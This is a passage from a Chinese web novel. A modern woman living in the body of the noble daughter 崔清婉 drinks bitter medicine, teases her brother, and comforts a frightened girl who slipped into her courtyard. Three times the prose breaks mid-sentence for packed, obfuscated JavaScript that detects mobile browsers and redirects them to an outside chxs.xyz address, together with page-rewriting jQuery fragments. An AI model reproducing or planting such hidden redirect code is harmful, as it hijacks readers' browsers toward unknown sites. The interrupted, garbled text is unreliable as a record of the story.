红木床榻,珠帘纱幔,熏香已冷的屋内黯淡无光,若不是屋外吵闹的动静拉回她的思绪,“崔清婉”定要以为自己只是在盛夏的午后睡过了头。
鼻腔被堵得厉害,每一口气都得费好大劲才能喘换过来,咽喉处是火辣辣的疼,就像是烈日灼烧下的土地,只能龟裂成鳞甲模样哀嚎着自己的可怜。
“哐啷”
本想从榻上起身为自己倒杯茶水的“崔清婉”没想到周身如此酸乏,竟连四肢沉重得仿佛不是自己的,哦也对,本来就不是她自己的。
她半弯腰自茶案旁扶起被撞倒的月牙凳,但还没直起身子便被推门而入的云岫喊住了动作。
“四娘,四娘怎么起身了?这些事唤我们来做就好,四娘快歇下。”
甚至来不及推辞,“崔清婉”便被云岫护着再次坐靠在榻上,送到嘴边的还有一杯温度适宜的茶水,显然是早就预备下了。
“崔清婉”接过茶杯,轻轻抿了几口,待口舌被浸润后,才一口气将温水顺下咽喉。
“现下是什么时辰?”
“回四娘话,刚过了酉时三刻。”
“那大家已经用过晚膳了吗?”
“是,郎君娘子们皆吩咐我不要惊动四娘,待四娘醒后再为四娘预备膳食,尤其是三郎君一个劲儿地叮嘱,让我务必劝四娘喝下汤药。可三郎君又怕四娘咽不下苦涩,还亲自去市集上为四娘买了份灵沙臛与透花糍,说是四娘喝下汤药后再用些点心驱驱药味。”
“如此……真是多谢他费心。”
二人寒暄几句,“崔清婉”手中的茶杯也被撤下,不多时,晴眉便提着食盒走了进来,跟在后面的还有端着托盘里只有一盅汤药与一碟点心的崔皓月。
明明比自己先下水,但崔皓月看上去根本不受寒气的半点影响,他轻松而稳妥地便撑住托盘上的物件儿,甚至还能空出的一只手偷拈几块点心塞入口中。
“嗯,甚是美味。”
将托盘放在茶案上,崔皓月故意咂咂嘴,眉眼间透露出与浅痣不相符的狡黠。
“真是稀奇,以往三哥总是说‘崔家子女自该从小事磨炼心志,不可沉溺于口腹之欲’,然后每每监督我少食甜味,我唯一一次生病,他还撺掇我将苦得头皮发麻的汤药一口闷下,怎么现在到了四姐姐这里,他就自食其言了呢?”
即便是已经有了好几日的相处,但“崔清婉”还是拿捏不准此刻崔皓月的话是打趣还是试探。她浅浅一笑,没有就着对方的疑问解释什么,反而以一种包容的姿态回了过去。
“那就当这份点心是给阿月的赔礼,再多吃些吧。”
“好说好说,”崔皓月弯弯眼眸,不客气地又往口中填了一块糕点,随后他朝着晴眉打开的食盒扬扬下巴,“说来三哥买的糕点我尚可染指几分,但三姐托我带来的膳食我可一点儿也不敢碰,所以四姐姐也快些吃罢,那可是我特意从醉香楼带回来的,凉了可就不好了。”
“醉香楼?”被云岫请坐在茶案旁的“崔清婉”回想起什么,故意流露出几分诧异神色,“怎么还特地出府?难道是府内膳房没留下我的口粮?”
“欸,怎会?要是四姐姐想吃府内饭菜,别说三姐,就光三哥知道,也得吩咐下去为姐姐准备满满一桌子的佳肴,”崔皓月眸光一闪,忽地染上几分笑意,凑近到正要动筷的用膳人身边,“要不我替四姐姐向三姐说说?以三姐性格,保不准连清风饭也能备下。”
“清风饭?”听到陌生词汇,“崔清婉”停下夹菜的筷子,不明所以地看向身边人。
恭敬站在一旁的云岫听到自家娘子的疑惑,轻声开口:“清风饭是以晶莹剔透的水晶米为主料,再配以龙睛粉、龙脑末与牛酩浆混合,盛入金提缸后垂入冰池冷透方可食用的消暑佳肴,不过因着冬季火炉燥热,京中的郎君娘子们也爱吃一些降降火气。在王府时,四娘身子虚,一直忌生冷,所以已经两三年不曾吃过了。”
“噢……”
听罢侍女的解释,“崔清婉”应和了一句便安静进餐,涉及以往的经历,她还是慎言为好。只是她心底也有些好奇,如今这副身体受玉蝉庇佑得以新生,那这身体是恢复到原来的体质呢,还是刷新成刚出厂的无损状态呢?
真可惜,也没有体检数据对比,不知道还能不能与这清风饭有相聚的缘分……
“嗯?四姐姐是尝到哪味佳肴了,怎么突然吃得这样专注?”看到眼前埋头苦吃的“崔清婉”,崔皓月忍不住再度开口,只是他故作淡然的语气间掩饰不住地透露着嘲讽,“莫不是云岫提到王府,让姐姐又心生委屈了?”
对桓王府没半点好印象的崔皓月自然不是在问“崔清婉”是否因昔日生活而感到委屈,他很笃定他的四姐姐在王府里肯定活得憋屈。
他想问的是,他的四姐姐是否因为被休而感到委屈,换言之,他想知道眼前人对桓王府是什么态度。
毕竟在他眼中,能早日脱离了桓王府那个水深火热的地方是该庆祝的,可他三哥四姐又曾因为杜家姐妹与他争吵过,所以,他很在意这个答案。
意识到崔皓月言语之外的意思后,“崔清婉”很果断地开了口:“没有,不委屈。”
“那姐姐怎么头也不抬?”
“别吵,在思考。”
“思考什么?”
“清风饭的味道。”
听到如此答案的崔皓月不禁一声嗤笑,再言语时,轻松的语气似乎已将前几日二人间对峙的不快也驱得烟消云散。
“若姐姐真的想回味清风饭味道,又何必劳烦三姐,只要姐姐能为桓王取三个不中听的绰号,我即刻就为姐姐寻来。”
咽下口中咀嚼的饭菜,“崔清婉”顺手端起汤碗搅搅汤匙,在轻嘬汤水的空隙中她极快抬眸瞅了眼单手撑在茶案半俯着身子的崔皓月,然后不假思索地便甩出三套词儿——
“紫皮大甘蔗、不发酵经典饮品、□□之掌。”
刚要求完便听到一串流利的词组,显然让崔皓月有些反应不过来。
“什么什么?”
“别管什么,”汤匙将将放下,刚探进菜碟里的筷子便因对方的疑问顿了顿,“崔清婉”简要回答一句,而后淡然地夹了几片薄厚适均的羊肉放在进食的碗内,“总之我是起了绰号,你可不能耍赖。”
“是是是,君子一言,我哪能耍赖?可是四姐姐,你总得为我解释一下这些绰号是什么意思吧?我的要求可是不中听,你要是随便取的那可不行。”
崔皓月从茶案一侧为自己拖来坐凳,然后以一种既乖巧但又不注重礼仪的坐姿朝向“崔清婉”,那饱含期待的眼睛眨啊眨,仿佛要把这几句解释当成什么蜜露糖浆。
“崔清婉”仍专注与茶案上的饭菜奋斗,但她还是自余光里看到这位弟弟胳膊支在双膝上用手托着脸颊的模样。说来奇怪,她也曾在现代生活中见过不少长得既老相又年轻的人,可像崔皓月这般既成熟又幼稚的,倒是第一次见。
“白问,不解释,且解释权归我所有,毕竟你的要求我已经做到了,再多问可就是你冒昧了。”
不是回呛的语气,只是调侃对方,显然此刻“崔清婉”的心情也还不错。
“好好好,那能不能容我再冒昧地问问四姐姐,晚膳可吃好了?是否要留点肚子喝药呢?”
意识到自己没办法得到解释的崔皓月突地掀开装有汤药的盅盖,腾腾的热气氤氲了整个茶案,浓郁的药草味如夏雨前密布乌云般迅速覆盖上来,顶得“崔清婉”向后让了让身子。
“没、还没吃好。”
紧捏着筷子的“崔清婉”回答起来有点磕磕巴巴,丝毫不见之前的腔调。
“可四姐姐都快吃完一整盘的酱汁羊肉了,真没吃好?”
崔皓月还是关切的语气,只不过那掐着盅盖的手却顺势扇了扇,让湿润的热气儿扩散得更加开来。
“呃……‘醉香楼’名不虚传,确实好吃,嗯!”
屏气、点头、假笑一气呵成,“崔清婉”晃晃手中的筷子,以此佐证自己并未虚言。
“既如此,那四姐何不趁着饭香将汤药也一并饮下?”
毫不相让,崔皓月笑眯眯地将盅罐端到“崔清婉”面前,颇有一种必须让对方喝下的气势。
而“崔清婉”屏着呼吸继续向后让身,对崔皓月的进攻持回避态度。
烛光已燃过少半,围坐茶案的二人仍在推让,明明是京中颇有名声的世家子弟,此刻却幼稚得像刚进私塾的顽童。
这姐弟俩就这样逗弄了好一会儿,直到一旁的云岫都看不下去,才走上前来将装有汤药的盅罐夺了过来,顺手取了盅盖合上,然后又将汤药递给一旁眉开眼笑的晴眉。
“还是将汤药拿下去热热,四娘食后须得两刻才能服药。”
“欸,我这就去。”
晴眉将汤盅放置在托盘上,连着点心的小碟一并撤下。
眼巴巴盯着托盘内的糕点消失在屋门外,崔皓月有些惋惜地叹口气:“可惜,若是四姐姐现在便把汤药喝了,我还能再蹭几块糕点。失策失策,之前就不该从了晴眉的建议将食盒与她手中的托盘换拿,不然我就能等四姐姐先把药喝了,好一并私吞剩下的甜食。”
“既然你想吃,那就让晴眉将那些都给你送过去吧。”
“嗯?四姐姐如此大方,莫不是要像小时候一样偷偷将药倒掉?这可不行,”崔皓月眯着眼睛摇摇头,随后看向一旁收拾食盒的云岫,“云岫,要不还是将汤药端上来吧,省得我不盯着四姐姐的时候她使小性子不爱惜身体。”
“才不会——”
“崔清婉”刚开口,便被一旁的云岫截了话头:“四郎君是想苛责我对四娘照料不周吗?请四郎君放心,往后日子里我一定用全部心血去照看四娘,不会让四娘再出半点差错。”
本是调侃打趣的氛围
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894286|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却因云岫突来地如宣誓效忠般的话语而显得略有僵硬。“崔清婉”自然是了解云岫对这副身体的关心,但她还是不自在地侧着目光打量了对方好几眼,不过崔皓月都对云岫的话没多大反应,自己也不该太敏感多虑。
“汤药苦涩我是知道的,所以磨蹭着不肯饮用也在情理之中,但不情愿归不情愿,真到必须得喝的时候我也会一口闷下。至于甜食,那是三哥希望我能将汤药喝下而准备的,这份好意我心领了,我既能主动喝下汤药,这甜食也不一定非得吃下不可,何况阿月更喜欢这份口味,我成人之美又有什么不好呢?是吧,云岫?”
原本打个哈哈也就过去了,但“崔清婉”还是认真解释了一番,不论是最初醒来还是这次下水救人,云岫的紧张关心自己是看得最真切的,哪儿能不在意她的感受,就随随便便敷衍过去呢?
“四娘爱惜自己身子便是最好的,那灵沙臛与透花糍,别说送给四郎君,就是全包下然后挨门挨户地送过去我们也是愿意的。”云岫一脸诚恳。
“那不如真包下来?”
“驳回。”
“四姐真吝啬……”
“不,我只是针对你。”
有来有回的言语交锋倒让二人显得真有几分姐弟氛围,“崔清婉”虽搞不清崔皓月到底是站在他哪位哥哥的立场上,但总得来说,在如今日常的交谈过程中,她还是能微妙地把握一个度,让自己看起来既不与崔皓月过于生疏,也不至于过分亲近。
烛光曳曳,屋内时不时响起的几句打趣使得光晕暖暖,颇显温馨。
屋外,月色静凉如水,此刻铺洒在院中的石板路上竟也多了丝被遗忘的寂寥。
有人作伴,时光才会过得格外快些,所以当晴眉再度端着汤药进屋时,屋内二人不禁都惊了一跳。只不过一人惊的是气味愈发浓郁的汤药,另一人惊的是再度被盛满的点心盘。
“崔清婉”双手端着汤药,将盛着它的器皿端详了个仔细,估计好自己的气口,她转头看向正抿食甜点的崔皓月,一记坚决不容质疑的眼神甩过,随后收手仰头,一口气将汤药喝下。
“呜——嗯!!!”
压抑的悲鸣自她口中传出,吓得一旁的崔皓月连忙将手中的点心盘递了出去,可她只是轻摇头,然后没有中断地继续将汤药饮下。
是她自己先将汤匙撇下以表一口闷尽的决心,怎么可能半途而废?
“四姐姐……海量。”崔皓月仍旧维持着递出点心盘的动作,迟疑而敬佩地说道。
“烫嘶——哈,没想到还这么烫。”
“崔清婉”从云岫处接来手帕,捂着双唇擦拭着嘴角,喝下汤药的她面色潮红,鼻尖也沁出细密的汗珠。
“好了,这点心你就带走吧,我只想喝些白水,舌头都麻掉了。”
“那……多谢四姐姐?”
本想推辞一番,但见饮药人笃定的眼神,崔皓月也就收回了手。不多时,点心盘内已一扫而尽,“崔清婉”的眉眼间也染上几分困意。
“这方子中加了几味安神的药,四姐姐有些倦了也是正常,不如姐姐早些歇下,我就先退下了。”
让下人收拾好物件,崔皓月也从坐凳上站了起来,已然见过他的四姐姐喝下汤药,他的任务也算完成,于是便准备离开。
“那我送送你。”
倒不是在这个时代刻意讲究,哪怕是在现代,送送别人也是必要的礼仪细节。
“这可不行,四姐才喝下药,可不能受了凉风。”崔皓月一口回绝了对方的提议。
“那我在屋门里侧目送。”
“不……算了,那就站在门里目送,毕竟谁能拗得过四姐姐呢?”
“好!”
顺了心意的“崔清婉”很满意地点点头,她站在距离屋门两步远的侧向,目送着崔皓月随挑灯的下人离去。
屋外不似屋内,清凉的空气顺着打开的门扉轻飘飘地侵到“崔清婉”身旁,无声驱散笼罩在她头脑处的昏沉,她的目光自院门处抬向穹顶,幽深静谧的深色幕布缀满点点星子,让贪恋清冽夜色的她不经意间便入了迷。
“四娘,我们早些进屋内关门吧,别受了寒。”
云岫的提醒自身边响起,“崔清婉”这才恍然惊醒般收回目光。明明动作只有一瞬,可她还是将收回目光时所划过的景色全部录入脑海,她知道自己的一天又快要在睡眠中结束了。
“嗯,进屋关门咯……”
此时的“崔清婉”显然放松了很多,她长舒口气,应答云岫的话音中也多了丝慵懒之意,回想起方才瞧见的场景,她准备为她即将到来的梦乡搭建个别致的场景。
满天星辰、高耸屋脊、朱色院门,还有平整的石板路、打理有序的植株、眼睛、台阶、烛光……
嗯?
眼睛?
意识到不寻常的“崔清婉”倏然转身,在即将闭合的门扉中再度肯定了自己发现,下一秒,一声尖锐且走音的质问惊乍而起,瞬间传过崔家半个宅子。
“不对!那是谁?!!”
19.非袅娜
人在惊恐中爆发的尖叫是无意识的,所以“崔清婉”自己都不清楚为什么她能招了半院子的人来,不过就算有人拿录音机为她重播一次方才的动静,她大概也会在沉吟片刻后摇摇头,用无声来表达不可信吧。
“四姐别怕,只是一孩童。”
听到异常的尖叫,走出院门有了一段距离的崔皓月立刻折返回来,一袭玄青色翻领窄袖袍因动作匆忙而歪了缀有银鹤宝珠的领口,此刻他以警戒的姿态横在“崔清婉”与怯懦的孩童之间,面上多了几分冷漠。
自崔皓月身后,一道利落的身影迅速闪过,那急促的脚步踢得花草纹样的浅檀色裙边翻飞,方才还在柔声抚慰“崔清婉”的云岫此刻已然换上一副凌厉神色,她紧了两步走到垂首跪地的小厮身边,抬手向对方的身旁怒指,恨铁不成钢地从牙缝中挤出一句责问。
“这是谁家孩子?!为何会出现在四娘院中!我三番两次叮嘱过你四娘受不得惊吓,受不得惊吓,你是怎么当得差?莫不是你收了他人好处故意恫吓四娘不成?!”
守卫这座院落的小厮名唤洞明,他不过十五六的年岁,只是眉清目秀,瞧上去像个机灵没坏心思的,如此才得了到“崔清婉”院中做事的机会。而眼下情形,显然是他闯下大祸,那精瘦的身形“砰砰砰”一通叩头,焦急又慌乱地开口辩解。
“回、回娘子郎君,我本在院中好好值守,是……是曲娘子!曲娘子不知从何处带这孩子来,我、我以为她与娘子有约,便、便放她们……”
磕磕巴巴的话语越说越没底气,他清楚自己不该自以为地行事,可府内上下谁人不知四娘子与三郎君一大早出门就是为了接回舞伎乐师,四娘子若不看重他们,怎会如此行事?当这舞伎领着孩童进院时,他哪敢阻拦?
“你以为?!”云岫的声音陡然增大,压出一院子肃静,她本是个沉稳妥帖的,说起话来更是有条不紊,可现在只要对上四娘子的事儿便冷静不下来,“你有多大本事就自己——”
“好了云岫,没事的。”在云岫越发歇斯底里的指责中,一道轻柔的制止声从崔皓月身后传来。
水色衫,粉藕裙,一带秋香绕臂弯;颦烟眉,缓揉心,双目噙珠忍不安。
自惊呼出口约过了半盏茶的时间,“崔清婉”方才的心悸已渐趋平缓,当她缓过神来,这才发现自己院内的气氛格外凝重。
她隔着崔皓月的身影向外眺去,突地瞧见一排跪着的人影,她连忙摆摆手,让为自己顺背部的晴眉退下。随后她快步上前,但在走到这几位或熟悉或陌生的面孔身边时陷入为难,她真是搀扶对方不是,不搀扶也不是。
“都快起来吧,总归是我胆子小,这也算不上什么大事,不必弄成这种场面。”
最终还是没有搀扶,尽管她此刻的言语在旁人看来已足够宽容仁爱,可她还是在心底对自己的懦弱啐了一口,她怎么能够心安理得地接受他人的跪拜?
不过说是心安理得,可她明白自己没有,她终究不是崔清婉,所以在面对他人跪拜时,她还是惶恐得很。只是现下她不知道她可不可以主动搀扶眼前之人,她生怕做了什么不合身份的举动,转而被人戳穿。
“他们畏惧我,所以还跪拜不起,都说初生牛犊不怕虎,你这娃娃既敢入我崔府,自然是胆子大些,不如你做个表率,先起身如何?”
见自己让众人起身的言语无效后,“崔清婉”换了个策略,她迈了半步蹲在那道比旁人小了一大圈的身影前,语气温和地鼓舞眼前的孩童。
孩童瑟缩着,听罢近在身边的柔声细语不由得愣怔几分,大抵是“崔清婉”蹲下的姿态确实亲和,所以这梳着两束发髻的小小头颅才在犹豫中缓缓抬了起来,不过是对视一眼,是善是恶便在孩童心中有了判断。
随着孩童的起身,“崔清婉”下意识打量了对方几眼——粗麻布的衣物虽破旧些,但还算合身整洁,只是在衣襟与袖口处沾有几抹略显扎眼的泥土痕迹。
这小娃娃约莫十来岁,一双眼睛乌黑发亮,不过因为身板瘦小,猛地一看辨不出是男是女,可当这孩子站起身来,“崔清婉”便立刻明白,这是个小女童。之所以她能辨认出来,主要还是因为这女娃娃搂抱东西时胳膊肘太过用劲,简直把浑身的不安全部转移到怀中的包裹上。
至于那包裹是何物,其实“崔清婉”也从松散的包裹布料间瞧明白了,那是她前几日下水救人时抛开的保暖外衫,想来是被这女童捡捞起来,今日特地归还吧。
不过……若是归还,怎么无人通报,这孩子是怎么进得府宅呢?
罢了,不是要紧事,慢些问,别弄得箭弩拔张,吓坏了她。
如此想到,“崔清婉”没有起身,仍旧面向女童半蹲着身子,她伸出手拍拍对方衣裳上的泥尘,放轻声音缓缓开口:“好孩子,怎么弄了一身的土?有什么事儿你可以和我说,放心,我不会怪你……哦,也不会怪带你过来的那位姐姐。”
笑容和煦,话语轻柔,要说“崔清婉”有没有装的成分,应该是有的,毕竟现代生活的她并不是一个很能和孩子处得来的人,只不过她也不是完全厌恶孩童,她只是怕一些无法沟通只会哭闹嘶吼的幼兽,对于这种明显可以沟通还有礼貌的孩子,她还是愿意扮上温柔大姐姐模样的。
“崔娘子,您、您真的是个善人……”
女童嗫嚅着说了这么一句,然后目光不安地向四下瞟了几眼,正当“崔清婉”准备鼓励她再度开口时,她抿紧双唇用力咽了一口唾沫,像是决定了什么,将怀中的包裹摊开递出,而后再度下跪。
“这是您的衣裳,洗好了的,我求求您,求求您不要吃福仔的肉,福仔和我从小玩到大,我不想让福仔死。”
“哎呦这可不兴跪,快起来——”
见女童又要跪下,“崔清婉”忙着将手伸到女童的腰侧将她扶了起来,只是一瞬的触碰,“崔清婉”心中便感慨这孩子的瘦骨嶙峋。
真不知道这孩子抱着怎样的决心与勇气才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900653|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来到崔府与她说上这样一句话,只知道这孩子撑着一口气说完最后一个字眼后便泣不成声地哭了起来。
没有歇斯底里的哭嚎,只是一抽一抽地掉着泪,女童那“啪嗒啪嗒”坠落在地的泪珠声响让“崔清婉”也跟着难过起来。
“好好,不会吃的,不会吃的,我怎么会吃你的福仔呢?”
“崔清婉”将女童环在身前,轻轻拍着对方干瘦的后背,她一边抚慰着女童一边下意识向云岫与崔皓月的方向回看过去。
“话说,你们有谁知道福仔是什么吗?”
被询问的二人也是一怔,面面相觑,还是云岫机灵,率先一步走到仍跪在地上的几人身前,一边冲洞明点头示意,一边将一直默不作声的女子搀扶了起来。
“曲娘子,你也知四娘身子弱受不得外面的寒风,这孩子是你带进院子的,所以到底是怎么一回事你也该说说,如今在这儿你闷着声一句话不说,也不是个办法啊……”
随着云岫言语,“崔清婉”这才正式将目光放在了缓缓起身的女子身上,这个自己亲自领回的人儿,她此刻倒才有了仔细端详的机会。
高鼻深目,挑眉如漆,许是因为长久舞蹈的缘故,曲知笙白皙的肌肤天然透着健康的血色。她那被发饰简单点缀的惊鸿髻下,松花绿的对襟小衫正束在彤色长裙之中,曲知笙的身形大多隐在齐胸襦裙中让人看不真切,但在她起身动作时,还是被“崔清婉”瞧见了她双臂上漂亮的肌肉线条。
没有纤若无骨的娇柔,曲知笙身上带着的更多是属于舞者的生命感,“崔清婉”突地想起来,云岫在自己午睡前曾和自己说过,曲知笙的柘枝舞乃是一绝,腾跃明快胜男子,婀娜俏丽比西施,在不少宴会中都受到了官员们的称赞。
“王……”
正张口言语,因昔日熟悉的称呼而被云岫瞪了一眼,曲知笙陡然哑言,她的目光垂了又垂,过了好一会儿才抬起无辜懵懂的眸子向“崔清婉”看去。
“四娘子,又见您,妾很好,这孩子妾不识,只是在花园碰到,她说寻你,很焦急。”
呀……
“崔清婉”心中低低一声感慨,她是听云岫说过,这曲知笙有几分痴劲儿,但未想过,对方是这样独特的表达,不过也没什么,意思送到了就行。
都说语言是思想的物质外壳,或许就是因为对方不那么入世的外壳,这才保住了她灵动飘逸的内在生命力。
“见到你我也很开心,你是说你在花园碰到这孩子的?那——”
问题还未出口,“崔清婉”便被一声短促的呼唤打断。
“娘子——”
应声看去,闯入院门的是一抹玄色高大身影,他青丝松散,神色慌乱,不似平日里见到的束发沉稳模样。而在那玄色包裹之内,只有一层精白的里衣,此时此刻,他除却脚上穿戴着的金线暗纹靴还算正式,其他装扮莫不显得匆促至极。
这夜晚真是热闹,竟然连院落甚远的崔皓羿也赶来了。
20.夜色烦忧
就崔府的院落布局而言,“崔清婉”所居的灼玉苑还是与崔皓羿暂住的衡兰馆有些距离,所以“崔清婉”很笃定对方绝不是因自己的尖叫声而来,毕竟她虽因害怕而略显失态,可到底不是给喉咙里直接装了个公屏大喇叭,音量没那么夸张。
倒是崔皓羿,他慌慌张张赶来,连身上披戴的玄色银绣大氅也不曾系扣住,就这样直直地敞开来,虽说他还穿着白色里衣,但那堪堪半掩着的健壮肌体,怎么看都觉得不合适。
“崔清婉”下意识就想提醒对方这样子不成体统,可偏她一抬眼又瞧见崔皓羿披散的长发此时还冒着湿热的水汽,他单手紧攥的发尾已是最大的体面,心下一动间便明白他这是担忧自己,所以才来不及收拾妥当。
不过……
“崔清婉”强迫自己将欣赏的目光自某人饱满的胸膛前收回,她的视线向后一探,自然落在其背后气息不稳且衣衫皱乱的曲游欢身上。
嗯?真是奇怪,为何崔皓羿与曲游欢一同赶来,难道入夜后他们便在一起吗?
不过一个是崔家郎君,一个算是崔府门客,即便晚上交谈些什么也合理吧?
但话又说回来,他俩这衣服,一个胡乱穿上,一个皱皱巴巴的……
嘶——莫非!!
脑中冒出的大胆想法让“崔清婉”的眸子瞬间睁大,也就是在同一时刻,那被无端揣测的男子与她齐声开口——
“你与他?”
“你与她?”
“啊?”
“……?”
不似正半蹲着搂抱女童的“崔清婉”发出疑问,崔皓羿无声的困惑更显单纯,很明显,他完全想不到就这么短暂的几眼打量,自己在对方心中竟无端多了一段煞有其事的艳闻。
任亲勋翊卫羽林中郎将一职,崔皓羿向来恪尽职守,今晚趁着夜色尚早,他吩咐下人备好热水,打算洗尽身上的疲惫,明日一早好赶赴皇城继续巡察警戒的工作,可哪曾想,他方沐净头发正泡在浴桶内养神时,屋外急切又哀求的声音便打断了他。
先是贴身侍从在屋外一阵低语,随后便是推屋进门后的转述——
“曲乐师惊恐焦急,似因午后曲舞姬独自探望四娘子至今未归,他本在府内找寻,但方才听得有女子尖叫,一时慌张,跌跌撞撞闯入衡兰馆。”
樛木恭敬地倾靠在屏风外侧,声音不轻不重,他服侍崔皓羿多年,答起话来也是简明扼要。
“女子尖叫?可知是从何处传来?”隔着屏风,崔皓羿的声音带有被热水浸润过的怠缓,略一停顿,再开口时他多了几分清醒,“也罢,他初来乍到,怕是辨不清方向,这样,你多带几名人手,同他一起排查舞姬踪迹,而诸如水池、水井之类,要格外留心,优先查看,切记,别让府内再出什么岔子。”
“是……”
樛木垂首应诺,但一息之后,他仍保持着方才的恭敬模样。大抵是未曾听到他出屋的动静,隔着屏风,崔皓羿略倦怠的声音再度传来。
“樛木?既应答,何故还在屋内?”
“三郎,”樛木朝着屏风方向又倾了倾身子,他压低声音,言语间竟也多了丝鲜有的迟疑,“这……非我言不祥之语,只是方才我询问曲乐师时,见他遥遥相指叫声来源……嗯……似是灼玉苑方向,不过府内最严备之处便是那儿,兴许是曲乐师记错了——”
樛木犹豫的话音未落,屏风里侧骤然溢出一阵哗哗的水声,接着,只听得利落抖动衣物的穿戴声充斥了整间屋子。
“吩咐柏舟速去排查曲舞姬踪迹,你同我先往灼玉苑。”
简单套上里衣,樛木瞧见出浴人还未擦干双脚便踩上靴子准备出门,还好他早在心中估量过他家三郎君大概会有的举动,于是及时从衣桁上取下大氅为其披上。
不消片刻,步履匆匆的崔皓羿已率着三二仆从径直赶到灼玉苑来。
一路赶来,崔皓羿脑中也划过许多猜测,但他不曾想过自己看到的竟会是委“魂”在自己胞妹身体上的“阿婉”搂抱着一个小小身影,而看上去,那孩子似乎是抽泣不止。
被强借来的魂、女子尖叫、陌生孩童、搂抱哭泣。
当这样的词汇组合在一起,崔皓羿脑中下意识便为它们编成一个令人信服的理由——孤魂飘荡,异乡他客,亲人相认,情难自已。
他寻得理由够快,“崔清婉”那边脑补的内容也足够精彩,于是,就有了开头的一幕。
“咳嗯……”
并不知晓对方因何缘故与自己同时发问,“崔清婉”轻咳一声,有意拖长声调来思考眼前的状况。
坦然而言,她并不认为崔皓羿是个行为放荡的人,更别说这种在崔府内对乐师行苟且之事的行径,况且就算崔皓羿实实在在有龙阳之好,他也没必要如此按捺不住对自己带回的人下手。
想必事情根本没有这么复杂,只是走得急弄乱了而已,可怜她在现代生活时听说过太多让人瞠目结舌的事,所以才会下意识弹出这种想法。
罪过罪过,抱歉抱歉。
“崔清婉”在心中双手合十诚恳道歉,面上却是不露声色地扯开话题。
“看三哥行色匆忙,想来是为我担忧,现下我一切都好,还望三哥宽些心,早点回去休息要紧。”
“无事便好,时辰尚早,也不耽误休息,”崔皓羿扫了一眼院中的状况,随后又看向她怀中搂抱着的孩童,“不过这孩子……”
“啊,这娃娃呀,”她站起身子,双手仍旧搂抱孩童在自己衣裙前,她抚着那瘦小脊梁,赔笑开口,“她是为归还我弄丢的披衫,除此之外,她似乎还有别的事找我,但眼下还没说清楚,小孩子嘛,需要一点儿耐心的。”
“原是如此。”
崔皓羿点点头,没有再明说什么,他只是偏过头,对着身旁的樛木耳语一番,待对方下去,才再度回过头来。
“虽说这孩子是有求而来,但她能进府,也是宅院内警戒不严、家仆有疏忽所致,这孩子的过错我尚可原谅,可下人们的失责必须严惩。”
“……哦。”
试图反驳些什么,可半开合的双唇愣是找不到一个合适的词汇,最终只能闷闷地回了声“哦”。不是说“崔清婉”伪善或者冷血,只是她实在想不到该如何劝说,因为崔皓羿说的没错,失职确实该罚。
她无意攻击这个时代的运行方式,她迫不得已的穿越只是为了救自己附体养魂的这个人,至于旁人,她除却惋惜可怜,似乎也做不了别的什么。
……
真的做不了吗?
心底的发问让“崔清婉”朝地面斜了斜目光,她再度心虚起来,只是与方才无端误解了崔皓羿不同,那时的心思只是戏谑,即便脱口而出也不代表她在意什么,可此时的念头,却是她切切实实拿不准自己所处的位置。
嗯……
好嘛,先听听他怎么惩罚,若是过分了再劝阻也不迟。
“府中其他疏漏之处待樛木查明后自会告知三姐,到时由三姐定夺,但阿婉院
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907226|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中仆从如何惩处,还是看阿婉的意思。”
?
怎么回事,怎么把问题抛给了我?
被崔皓羿提到的“崔清婉”有一种上课被老师叫上黑板写答案的绝望感,她抚在女童背上的手一顿,然后试探着开口:“那……罚一个月的月钱?”
“只罚一个月的月钱?若是以往出了如此大的纰漏,不论是哪位兄长或是阿姐,定会将主要涉事家仆逐出崔府,其他连带责任者一并罚三个月的月钱。”
随着崔皓羿悠悠而言,“崔清婉”不禁倒吸口气,忙着就想改口再增加一个月的上限,可当她正要言语时,又看到崔皓羿目光中的制止之意。
崔皓羿以极小的幅度摇摇头,然后扫视四下一周,语气又威严几分。
“总归还是四娘仁善,深知你们被选到灼玉苑内服侍不足半月,恐惩罚重了,你们畏她惧她,在苑内做工时惶惶不可终日。所以此次只略施小惩,希望你们记得,往后值守服侍时务必要打起十二分的精神,否则就算四娘再不忍,崔府也绝不留疏忽怠惰之人。”
“是。”
跪着的,旁边候着的,凡属灼玉苑的仆从都垂首称是。
“崔清婉”看着眼前这一幕,不觉有些哑然,倒是也曾听过驭下之术,但当这么直晃晃摆在眼前时,总觉得有些啼笑皆非。
罢了,这是人家家规,自己又能多嘴什么?横竖是罚了这些仆从的月钱,虽说不能背后偷偷发放以免驳了崔皓羿的威信,但不时找个由头赏给他们一些物资作为补偿,应该是没问题的吧?
“阿婉?”
